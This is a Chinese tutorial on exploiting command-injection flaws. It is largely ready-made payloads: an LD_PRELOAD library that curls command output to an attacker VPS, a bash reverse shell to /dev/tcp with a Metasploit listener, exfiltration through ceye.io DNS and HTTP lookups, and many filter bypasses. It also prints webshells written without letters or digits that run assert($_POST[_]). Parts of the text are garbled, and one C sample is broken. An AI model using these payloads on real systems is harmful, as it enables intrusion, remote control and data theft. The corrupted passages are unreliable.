一、命令執(zhí)行介紹
1、命令執(zhí)行漏洞原理
命令執(zhí)行漏洞定義:Web應(yīng)用程序接收用戶輸入,拼接到要執(zhí)行的系統(tǒng)命令中執(zhí)行。產(chǎn)生原因:1、用戶輸入未過濾或凈化;2、拼接到系統(tǒng)命令中執(zhí)行。
2、PHP下命令執(zhí)行函數(shù)
在PHP中具有執(zhí)行系統(tǒng)命令功能的函數(shù)如下:
1、system
2、exec
3、shell_exec
4、passthru
5、popen
6、proc_popen
7、`反引號(hào)
8、ob_start
9、mail函數(shù)+LD_PRELOAD執(zhí)行系統(tǒng)命令
使用示例:
LD_PRELOAD:
LD_PRELOAD可以用來設(shè)置程序運(yùn)行前優(yōu)先加載的動(dòng)態(tài)鏈接庫(kù),php函數(shù)mail在實(shí)現(xiàn)的過程中會(huì)調(diào)用標(biāo)準(zhǔn)庫(kù)函數(shù),通過上傳一個(gè)編譯好的動(dòng)態(tài)鏈接程序(這個(gè)程序中重新定義了一個(gè)mail函數(shù)會(huì)調(diào)用的庫(kù)函數(shù),并且重新定義的庫(kù)函數(shù)中包含執(zhí)行系統(tǒng)命令的代碼。),再通過LD_PRELOAD來設(shè)置優(yōu)先加載我們的上傳的動(dòng)態(tài)鏈接程序,從而實(shí)現(xiàn)命令執(zhí)行。
//a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){
void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
//編譯
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
//mail.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>
監(jiān)聽vps的4123端口,訪問mail.php。
ob_start:
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函數(shù)將打開輸出緩沖。當(dāng)輸出緩沖激活后,腳本將不會(huì)輸出內(nèi)容(除http標(biāo)頭外),相反需要輸出的內(nèi)容被存儲(chǔ)在內(nèi)部緩沖區(qū)中。
內(nèi)部緩沖區(qū)的內(nèi)容可以用 ob_get_contents() 函數(shù)復(fù)制到一個(gè)字符串變量中。想要輸出存儲(chǔ)在內(nèi)部緩沖區(qū)中的內(nèi)容,可以使用 ob_end_flush() 函數(shù)。另外, 使用 ob_end_clean() 函數(shù)會(huì)靜默丟棄掉緩沖區(qū)的內(nèi)容。
1234
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//輸出www-data
提示:某些情況下,要注意存在以上函數(shù)的php文件,有可能是Webshell。
注:使用PHP.EXE傳遞參數(shù)時(shí),如果有空格,一般在Windows 下使用雙引號(hào)(“”), Linux 下使用單引號(hào)(’)括起來,否則將無(wú)法正常執(zhí)行。
<?php
echo " if(isset($_GET["cmd"])){
system($_GET["cmd"]);
}
echo "</pre>";
?>
二、命令執(zhí)行漏洞基礎(chǔ)
1、Windows命令執(zhí)行漏洞利用技巧
思路:截?cái)噍斎耄匦缕唇印蓷l命令都輸入并執(zhí)行。
1.1、命令執(zhí)行漏洞拼接符介紹
在Windows系統(tǒng)下的 cmd命令中,有以下一些截?cái)嗥唇臃?br style="margin: 0px; padding: 0px; outline: 0px; user-select: initial !important; max-width: 100%; box-sizing: border-box !important; overflow-wrap: break-word !important;"/>&前面的語(yǔ)句為假則直接執(zhí)行后面的
&&前面的語(yǔ)句為假則直接出錯(cuò),后面的也不執(zhí)行
|直接執(zhí)行后面的語(yǔ)句
||前面出錯(cuò)執(zhí)行后面的
2、命令拼接
whoami //正常執(zhí)行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常執(zhí)行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常執(zhí)行
但是"wh""o^a^mi"這種在開頭就有單引號(hào)的情況是不能執(zhí)行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常執(zhí)行
可以加任意個(gè)"但不能同時(shí)連續(xù)加2個(gè)^ 符號(hào),因?yàn)閊號(hào)是cmd中的轉(zhuǎn)義符,跟在他后面的符號(hào)會(huì)被轉(zhuǎn)義
set命令
知識(shí)點(diǎn):用兩個(gè) % 括起來的變量,會(huì)輸出變量的值
set a=who
set b=ami
%a%%b% //正常執(zhí)行whoami
call %a%%b% //正常執(zhí)行whoami
![](/files/attmgn/2023/12/admin20231213184642170_0.jpg)
切割字符
set a=whoami
%a:~0% //取出所有字符,所以正常執(zhí)行命令
%a:~0,6% //從開始切割6個(gè)字符,剛好是whoami,所以正常執(zhí)行
%a:~0,5% //切割后是whoam,不是系統(tǒng)命令,不能執(zhí)行
set a=abc qwe //先自定義
wh^o^%a:~0,1%mi //然后截?cái)嗾砗缶妥兂闪?wh^o^ami,所以命令執(zhí)行成功
2、Linux命令執(zhí)行漏洞利用技巧
2.1、命令執(zhí)行漏洞拼接符介紹
在Linux系統(tǒng)下的shell命令中,有以下一些截?cái)嗥唇臃?br style="margin: 0px; padding: 0px; outline: 0px; user-select: initial !important; max-width: 100%; box-sizing: border-box !important; overflow-wrap: break-word !important;"/>在Linux上,上面的;也可以用|、||代替
;前面的執(zhí)行完執(zhí)行后面的
| 管道符,上一條命令的輸出,作為下一條命令的參數(shù)
||當(dāng)前面的執(zhí)行出錯(cuò)時(shí)執(zhí)行后面的
& 無(wú)論前邊語(yǔ)句真假都會(huì)執(zhí)行
&& 只有前邊語(yǔ)句為真,才會(huì)執(zhí)行后邊語(yǔ)句
%0a
%0d
& 放在啟動(dòng)參數(shù)后面表示設(shè)置此進(jìn)程為后臺(tái)進(jìn)程,默認(rèn)情況下,進(jìn)程是前臺(tái)進(jìn)程,這時(shí)就把Shell給占據(jù)了,我們無(wú)法進(jìn)行其他操作,對(duì)于那些沒有交互的進(jìn)程,很多時(shí)候,我們希望將其在后臺(tái)啟動(dòng),可以在啟動(dòng)參數(shù)的時(shí)候加一個(gè)’&’實(shí)現(xiàn)這個(gè)目的。
命令終止符
%00
%20#
2.2、命令拼接
a=who
b=ami
$a$b //輸出whoami
對(duì)于文件夾的內(nèi)容,使用$(printf "路徑")代替路徑
利用環(huán)境變量
![](/files/attmgn/2023/12/admin20231213184642242_1.jpg)
可以通過截取不同的字符執(zhí)行命令
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,執(zhí)行命令
${PATH:5:1}s //拼接后是ls,執(zhí)行命令
2.3、空格繞過
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗號(hào)實(shí)現(xiàn)了空格功能,需要用{}括起來
%20
%09
這里解釋一下 I F S , {IFS}, IFS,IFS,$IFS 9 的區(qū)別,首先 9的區(qū)別,首先 9的區(qū)別,首先IFS在linux下表示分隔符,然而我本地實(shí)驗(yàn)卻會(huì)發(fā)生這種情況,這里解釋一下,單純的cat I F S 2 , b a s h 解釋器會(huì)把整個(gè) I F S 2 當(dāng)做變量名,所以導(dǎo)致輸不出來結(jié)果,然而如果加一個(gè) 就固定了變量名,同理在后面加個(gè) IFS2,bash解釋器會(huì)把整個(gè)IFS2當(dāng)做變量名,所以導(dǎo)致輸不出來結(jié)果,然而如果加一個(gè){}就固定了變量名,同理在后面加個(gè) IFS2,bash解釋器會(huì)把整個(gè)IFS2當(dāng)做變量名,所以導(dǎo)致輸不出來結(jié)果,然而如果加一個(gè)就固定了變量名,同理在后面加個(gè)可以起到截?cái)嗟淖饔茫菫槭裁匆?9呢,因?yàn)?9只是當(dāng)前系統(tǒng)shell進(jìn)程的第九個(gè)參數(shù)的持有者,它始終為空字符串!
2.4、繞過關(guān)鍵字
反斜線繞過
wh\o\ami
雙引號(hào)繞過
who"a"mi
單引號(hào)繞過
whoa'm'i
反引號(hào)繞過
whoam``i
base64繞過
echo d2hvYW1p|base64 -d|sh 其中d2hvYW1p是whoami的base64編碼
echo d2hvYW1p|base64 -d|bash 其中d2hvYW1p是whoami的base64編碼
`echo d2hvYW1p|base64 -d` 將其base64解碼,然后用反引號(hào)來執(zhí)行命令
hex繞過
echo 77686F616D69 | xxd -r -p | bash 其中77686F616D69是whoami的hex編碼
特殊字符繞過
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在沒有傳入?yún)?shù)的情況下,這些特殊字符默認(rèn)為空,如下:
wh$1oami
who$@ami
whoa$*mi
#cat被過濾時(shí),還可以考慮使用tac命令
cat$x /etc/passwd
重命名文件繞過
linux下創(chuàng)建文件的命令可以用1>1創(chuàng)建文件名為1的空文件
![](/files/attmgn/2023/12/admin20231213184642301_2.jpg)
進(jìn)一步fuzz發(fā)現(xiàn)a>1居然也可以,雖然會(huì)報(bào)錯(cuò),但是還是可以創(chuàng)建空文件。
![](/files/attmgn/2023/12/admin20231213184642413_3.jpg)
ls>1可以直接把把ls的內(nèi)容導(dǎo)入一個(gè)文件中,但是會(huì)默認(rèn)追加\n
![](/files/attmgn/2023/12/admin20231213184642476_4.jpg)
有了這個(gè)基礎(chǔ)我們?cè)賮砜催@道題
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
簡(jiǎn)單的代碼,可以利用
1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a
這里注意.不能作為文件名的開頭,因?yàn)閘inux下.是隱藏文件的開頭,ls列不出來
然而這里還有個(gè)問題,就是ls下的文件名是按照字母順序排序的,所以需要基于時(shí)間排序
ls -t>a
網(wǎng)絡(luò)地址轉(zhuǎn)化為數(shù)字地址
網(wǎng)絡(luò)地址有另外一種表示形式就是數(shù)字地址,比如127.0.0.1可以轉(zhuǎn)化為2130706433可以直接訪問http://2130706433或者[http://0x7F000001]這樣就可以繞過.的ip過濾,這里給個(gè)轉(zhuǎn)化網(wǎng)址http://www.msxindl.com/tools/ip/ip_num.asp
2.5、騷操作
//字符夾命令
666`whoami`666 //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令執(zhí)行后的結(jié)果在2個(gè)666中間
//命令?yuàn)A字符
w`f1hgb`ho`f1hgb`am`f1hgb`i //反引號(hào)的作用是把括起來的字符當(dāng)做命令執(zhí)行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //這個(gè)反斜線作用就是平時(shí)的那種連接,反引號(hào)的作用是把括起來的字符當(dāng)做命令執(zhí)行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都說執(zhí)行和拼接
![](/files/attmgn/2023/12/admin20231213184642572_5.jpg)
![](/files/attmgn/2023/12/admin20231213184642667_6.jpg)
上述的是既可以繞過命令,又可以繞過文件名的,下述的則是只能用來繞過文件名的:
cat fl[abc]g.php //匹配[abc]中的任何一個(gè)
cat f[a-z]ag.txt //匹配a-z范圍的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //內(nèi)聯(lián)執(zhí)行
//正則
利用正則:比如要讀取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
2.6、命令執(zhí)行函數(shù)繞過
system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>還可以用注釋方法繞過
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
3、Java 命令執(zhí)行
這里之所以叫作Java 命令執(zhí)行,是因?yàn)镴ava 體系非常龐大,其中包括:Java SE、Java EE、Java ME。而無(wú)論是分支還是框架,都是以Java SE 為基礎(chǔ)的。
在Java SE 中,存在Runtime 類,在該類中提供了exec 方法用以在單獨(dú)的進(jìn)程中執(zhí)行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技術(shù)一般執(zhí)行外部程序都會(huì)調(diào)用此方法(或者使用ProcessBuilder類,但較少)。下面以 Runtime類為例進(jìn)行說明。
![](/files/attmgn/2023/12/admin20231213184642734_7.jpg)
模型代碼如下
import java. io.InputStream; //導(dǎo)包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
public static void main (String args []) throws Exception{
if (args.length==0) {
System.exit(1); //沒有參數(shù)就退出
}
String command = args[0];
Runtime run = Runtime.getRuntime();
Process pro = run. exec(command); //執(zhí)行命令
InputStreamReader in = new InputStreamReader(pro.getInputStream());
BufferedReader buff = new BufferedReader(in);
for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
System.out.println(temp); //輸出結(jié)果
}
buff .close();
in.close();
}
}
上面的代碼經(jīng)過編譯后可以執(zhí)行命令操作,如:java RuntimeTest “whoami”,執(zhí)行命令操作。
如果程序開發(fā)人員沒有正確地使用Runtime 類,就有可能造成Java 命令執(zhí)行漏洞。像有名的Struts2 框架就存在命令執(zhí)行漏洞。
三、命令執(zhí)行高級(jí)技巧
1、無(wú)數(shù)字和字母的webshell
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
1.1、字符串執(zhí)行異或繞過
在PHP中,兩個(gè)字符串執(zhí)行異或操作以后,得到的還是一個(gè)字符串。所以,我們想得到a-z中某個(gè)字母,就找到某兩個(gè)非字母、數(shù)字的字符,他們的異或結(jié)果是這個(gè)字母即可。
得到如下的結(jié)果(因?yàn)槠渲写嬖诤芏嗖豢纱蛴∽址晕矣胾rl編碼表示了):
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
1.2、位運(yùn)算里的“取反”繞過
利用的是UTF-8編碼的某個(gè)漢字,并將其中某個(gè)字符取出來,比如'和'{2}的結(jié)果是"\x8c",其取反即為字母s:
echo ~('瞰'{1}); 輸出:a
echo ~('和'{2}); 輸出:s
echo ~('的'{1}); 輸出:e
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
這個(gè)答案還利用了PHP的弱類型特性。因?yàn)橐@取'和'{2},就必須有數(shù)字2。而PHP由于弱類型這個(gè)特性,true的值為1,故true+true==2,也就是('>'>'<')+('>'>'<')==2。
1.3、利用自增運(yùn)算符
在處理字符變量的算數(shù)運(yùn)算時(shí),PHP沿襲了Perl 的習(xí)慣,而非C的。例如,在Perl中$a= ‘Z’; a + + ; 將把 a++;將把 a++;將把a(bǔ)變成AA’,而在C中,a= ‘Z’;a++;將把a(bǔ)變成中’[’ (‘Z’ 的ASCII值是90,'['的ASCII值是91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z和A-Z) 。遞增/遞減其他字符變量則無(wú)效,原字符串沒有變化。
'a'++ => 'b','b'++ => 'c'… 所以,我們只要能拿到一個(gè)變量,其值為a,通過自增操作即可獲得a-z中所有字符。
巧了,數(shù)組(Array)的第一個(gè)字母就是大寫A,而且第4個(gè)字母是小寫a。也就是說,我們可以同時(shí)拿到小寫和大寫A,等于我們就可以拿到a-z和A-Z的所有字母。
在PHP中,如果強(qiáng)制連接數(shù)組和字符串的話,數(shù)組將被轉(zhuǎn)換成字符串,其值為Array:
![](/files/attmgn/2023/12/admin20231213184642845_8.jpg)
![](/files/attmgn/2023/12/admin20231213184642883_9.jpg)
再取這個(gè)字符串的第一個(gè)字母,就可以獲得’A’了。
利用這個(gè)技巧,我編寫了如下webshell(因?yàn)镻HP函數(shù)是大小寫不敏感的,所以我們最終執(zhí)行的是ASSERT($_POST[_]),無(wú)需獲取小寫a):
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
1.4、通配符
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
PHP7
PHP7前是不允許用($a)();這樣的方法來執(zhí)行動(dòng)態(tài)函數(shù)的,但PHP7中增加了對(duì)此的支持。所以,我們可以通過(‘phpinfo’)();來執(zhí)行函數(shù),第一個(gè)括號(hào)中可以是任意PHP表達(dá)式。
構(gòu)造一個(gè)可以生成phpinfo這個(gè)字符串的PHP表達(dá)式
(~%8F%97%8F%96%91%99%90)();
PHP5
Bash標(biāo)準(zhǔn)通配符(也稱為通配符模式)被各種命令行程序用于處理多個(gè)文件。有關(guān)標(biāo)準(zhǔn)通配符的更多信息,并不是每個(gè)人都知道有很多bash語(yǔ)法是可以使用問號(hào)“?”,正斜杠“/”,數(shù)字和字母來執(zhí)行系統(tǒng)命令的。你甚至可以使用相同數(shù)量的字符獲取文件內(nèi)容。
我們可以通過man 7 glob 查看通配符幫助或者直接訪問linux官網(wǎng)查詢文檔
1.shell下可以利用.來執(zhí)行任意腳本
2.Linux文件名支持用glob通配符代替
12
*可以代替0個(gè)及以上任意字符
?可以代表1個(gè)任意字符
例如ls命令我們可以通過以下語(yǔ)法代替執(zhí)行:
/???/?s --help
但/tmp/phpXXXXXX就可以表示為/*/???或/???/???,能夠匹配上這個(gè)通配符的文件有很多
glob支持用x的方法來構(gòu)造“這個(gè)位置不是字符x”。
排除了第4個(gè)字符是-的文件
利用[@-[]來表示大寫字母
。。。。。。
2、處理無(wú)回顯的命令執(zhí)行
2.1、利用自己的vps
2.1.1、是利用bash命令并在本地進(jìn)行nc監(jiān)聽結(jié)果查看回連日志
先在vps處用nc進(jìn)行監(jiān)聽
nc -l -p 8080 -vvv
然后在靶機(jī)命令執(zhí)行處輸入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公網(wǎng)ip)/8080 0>&1
2.1.2、msg反向回連
同樣vps用msg監(jiān)聽
vps的msf監(jiān)聽:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
然后在靶機(jī)命令執(zhí)行處輸入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公網(wǎng)ip)/8080 0>&1
2.2、利用ceye平臺(tái)
記錄在http request中
題目地址
http://192.168.10.55/
后臺(tái)源碼
<?php
$a = $_GET['id'];
system("$a");
?>
payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl訪問才會(huì)成功,在瀏覽器直接訪問時(shí)無(wú)效的。
記錄在dns query中
DNS在解析的時(shí)候是逐級(jí)解析的,并且會(huì)留下日志,所以可以將回顯放在高級(jí)域名,這樣在解析的時(shí)候就會(huì)將回顯放在高級(jí)域名中,我們就可以在dns query中看到回顯。
在注冊(cè)ceye.io之后會(huì)分配一個(gè)三級(jí)域名。就是******.ceye.io。
ping `whoami`.******.ceye.io
上面這條命令最終在ping的時(shí)候ping的是“root.**.ceye.io”,root就是我們構(gòu)造的惡意命令執(zhí)行的結(jié)果,我們把它放在四級(jí)域名這里,這樣在DNS解析的時(shí)候就會(huì)記錄下root這個(gè)四級(jí)域名。然后可以在ceye平臺(tái)上看到我們的dns解析日志。也就看到了命令執(zhí)行的回顯。
所以這種方法的使用必須有ping命令。
四、命令執(zhí)行自動(dòng)化工具基本使用
1、commix工具
Commix是一個(gè)使用Python開發(fā)的漏洞測(cè)試工具,這個(gè)工具是為了方便的檢測(cè)一個(gè)請(qǐng)求是否存在命令注入漏洞,并且對(duì)其進(jìn)行測(cè)試,在其作者發(fā)布的最新版本中支持直接直接導(dǎo)入burp的歷史記錄進(jìn)行檢測(cè),大大提高了易用性。
項(xiàng)目地址:https://github.com/stasinopoulos/commix
在Kali linux自帶了commix可以直接使用
commix -u http://192.168.1.106/cmd3.php?cmd=127.0.0.1
該文章在 2023/12/13 18:49:41 編輯過